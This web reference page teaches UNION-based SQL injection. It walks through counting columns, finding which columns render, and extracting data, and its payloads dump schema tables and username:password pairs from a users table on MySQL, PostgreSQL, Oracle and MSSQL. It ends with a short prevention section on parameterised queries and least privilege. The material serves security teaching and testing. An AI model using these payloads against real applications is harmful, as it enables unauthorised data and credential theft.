Skip to content
criticalCVSS 9.8CWE-89A03:2021 – Injection

UNION-Based Injection

Appending a second SELECT to the original query so its rows are returned alongside the application's own results. The fastest extraction path when output is visible.

Overview

UNION combines the result sets of two SELECT statements. If you can inject into a query whose results are rendered, you can append your own SELECT and have the application display data it was never meant to show.

It is the technique to reach for first when output is visible, because it extracts many rows per request rather than one bit — a full table dump can take seconds instead of hours.

UNION imposes two requirements that shape the entire workflow:

  1. Both queries must return the same number of columns.
  2. Corresponding columns must have compatible types.

Most of the work is satisfying those two constraints.

Step 1 — Find the Column Count

Two methods. ORDER BY is usually cleaner because it produces a crisp error boundary.

ORDER BY ordinals. ORDER BY 1 sorts by the first column. Increment until the query errors: the database rejects an ordinal past the end of the select list. The last value that worked is the column count. Binary-search if there are many columns.

UNION SELECT NULL. Add NULLs until the error stops. NULL is used because it is assignable to any column type, which sidesteps the type-compatibility problem while you are still counting.

Counting columns

SQL
-- Method 1: ORDER BY — one error boundary, no type concerns
' ORDER BY 1-- -      -> OK
' ORDER BY 2-- -      -> OK
' ORDER BY 3-- -      -> OK
' ORDER BY 4-- -      -> ERROR: Unknown column '4' in 'order clause'
--                        => the query has 3 columns

-- Method 2: UNION SELECT NULL — works when ORDER BY is filtered
' UNION SELECT NULL-- -              -> ERROR (column count mismatch)
' UNION SELECT NULL,NULL-- -         -> ERROR
' UNION SELECT NULL,NULL,NULL-- -    -> OK
--                                      => 3 columns

-- Oracle requires a FROM clause on every SELECT:
' UNION SELECT NULL,NULL,NULL FROM dual-- -

Step 2 — Find Which Columns Are Displayed

The query may select five columns while the page renders only two of them. Replace each NULL in turn with a distinctive marker and look for it in the response.

Use a string marker rather than an integer: a column typed as text will reject an integer in strict engines, and a string marker also confirms the column can carry the text you eventually want to extract.

Locating the rendered columns

SQL
' UNION SELECT 'aaa',NULL,NULL-- -    -> 'aaa' not visible
' UNION SELECT NULL,'bbb',NULL-- -    -> 'bbb' appears in the page  <-- usable
' UNION SELECT NULL,NULL,'ccc'-- -    -> 'ccc' appears in the page  <-- usable

-- Columns 2 and 3 render. Extract into those.

Step 3 — Extract

With a usable column identified, replace the marker with real data. Enumerate the schema first, then pull the rows you want.

One row per request is slow. Concatenate several columns into a single rendered column with a delimiter you can split on afterwards, and aggregate multiple rows into one value where the engine supports it.

Extraction by engine

SQL
-- Tables in the current database
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables
  WHERE table_schema=DATABASE()-- -

-- Columns of a table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns
  WHERE table_name='users'-- -

-- Whole table in ONE request — GROUP_CONCAT is the big win here
' UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR '\n'),NULL
  FROM users-- -

-- Note: group_concat_max_len defaults to 1024 bytes and silently truncates.

Handling Type Mismatches

PostgreSQL and Oracle are strict: UNION fails if a text column lines up with an integer column. Symptoms are errors such as UNION types integer and text cannot be matched or ORA-01790: expression must have same datatype as corresponding expression.

The fix is to cast your value into the type the original query used, or to place your data only in columns already typed as text. When you cannot tell, NULL is compatible with everything — use NULL in the columns you do not need and cast explicitly in the one you do.

-- PostgreSQL: force text
' UNION SELECT NULL, password::text, NULL FROM users-- -

-- Oracle
' UNION SELECT NULL, TO_CHAR(password), NULL FROM users-- -

-- MSSQL
' UNION SELECT NULL, CAST(password AS varchar(4000)), NULL FROM users-- -

When UNION Is Not Available

UNION needs the result set to reach the page. It will not help when:

  • the query is an INSERT, UPDATE, or DELETE
  • results are consumed server-side and never rendered
  • the endpoint returns only a status code or a boolean
  • a WAF blocks the keyword and you cannot evade it — see WAF Bypass

In those cases fall back to Error-Based if errors surface, then Boolean-Blind, then Time-Blind as the universal but slowest option.

Prevention

Parameterise the query. A bound parameter cannot introduce a UNION because it is never parsed as SQL.

Defence in depth that limits the damage when something is missed: run the application's database account with SELECT restricted to the tables it actually needs. A UNION into information_schema returns nothing useful if the account cannot read the tables it names. See Defense in Depth.